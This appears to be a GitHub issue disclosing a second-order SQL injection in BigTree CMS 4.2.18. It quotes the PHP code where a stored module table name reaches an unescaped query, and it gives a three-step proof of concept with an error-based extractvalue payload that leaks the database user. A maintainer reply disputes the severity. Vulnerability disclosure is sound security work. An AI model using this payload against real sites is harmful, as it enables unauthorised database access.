here the $_POST["table"] to $table to sqlescape($table), final INSERT INTO database table bigtree_module_forms.
continue
file \BigTree-CMS-4.2.18\core\admin\modules\dashboard\vitals-statistics\integrity\check.php
<?
$external = ($_GET["external"] == "true") ? true : false;
$admin->requireLevel(1);
$pages = $admin->getPageIds();
$modules = $admin->getModuleForms();
// Get the ids of items that are in each module.
foreach ($modules as &$m) {
$action = $admin->getModuleActionForForm($m);
$module = $admin->getModule($action["module"]);
if ($module["group"]) {
$group = $admin->getModuleGroup($module["group"]);
$m["module_name"] = "Modules › ".$group["name"]." › ".$module["name"]." › ".$m["title"];
} else {
$m["module_name"] = "Modules › ".$module["name"]." › ".$m["title"];
}
$m["items"] = array();
$q = sqlquery("SELECT id FROM `".$m["table"]."`");
while ($f = sqlfetch($q)) {
$m["items"][] = $f["id"];
}
}
?>
continue, at getModuleForms() function SELECT * FROM bigtree_module_forms
static function getModuleForms($sort = "title",$module = false) {
$items = array();
if ($module) {
$q = sqlquery("SELECT * FROM bigtree_module_forms WHERE module = '".sqlescape($module)."' ORDER BY $sort");
} else {
$q = sqlquery("SELECT * FROM bigtree_module_forms ORDER BY $sort");
}
while ($f = sqlfetch($q)) {
$f["fields"] = json_decode($f["fields"],true);
$f["hooks"] = json_decode($f["hooks"],true);
$items[] = $f;
}
return $items;
}
at here, $admin->getModuleForms() to $modules to $m, final sqlquery("SELECT id FROM ".$m["table"]."")
Developer level users (that can access module designer) already have eval() access through column parsers. Your example SQL also fails in an error so I'm not sure how that would be a security concern.
SQL injection in bigtreecms 4.2.18
shou me the code:
file \BigTree-CMS-4.2.18\core\admin\modules\developer\modules\designer\form-create.php
continue the function createModuleForm()
file BigTree-CMS-4.2.18\core\inc\bigtree\admin.php
here the $_POST["table"] to $table to sqlescape($table), final INSERT INTO database table bigtree_module_forms.
continue
file \BigTree-CMS-4.2.18\core\admin\modules\dashboard\vitals-statistics\integrity\check.php
continue, at getModuleForms() function SELECT * FROM bigtree_module_forms
at here, $admin->getModuleForms() to $modules to $m, final sqlquery("SELECT id FROM
".$m["table"]."")Trick:
POC:
one step,create module xfkxfk, on url:
http://localhost/BigTree-CMS-4.2.18/site/index.php/admin/developer/modules/designer/
two step, create module xfkxfk2,but the table name is:xfkxfk
where 1=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#(here_is_the_table_name_at_one_stepwhere 1=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#), on url:http://localhost/BigTree-CMS-4.2.18/site/index.php/admin/developer/modules/designer/
three step, request the url,sql inject here:
http://localhost/BigTree-CMS-4.2.18/site/index.php/admin/dashboard/vitals-statistics/integrity/check/?external=true
email : xfkxfk@secbook.net
The text was updated successfully, but these errors were encountered: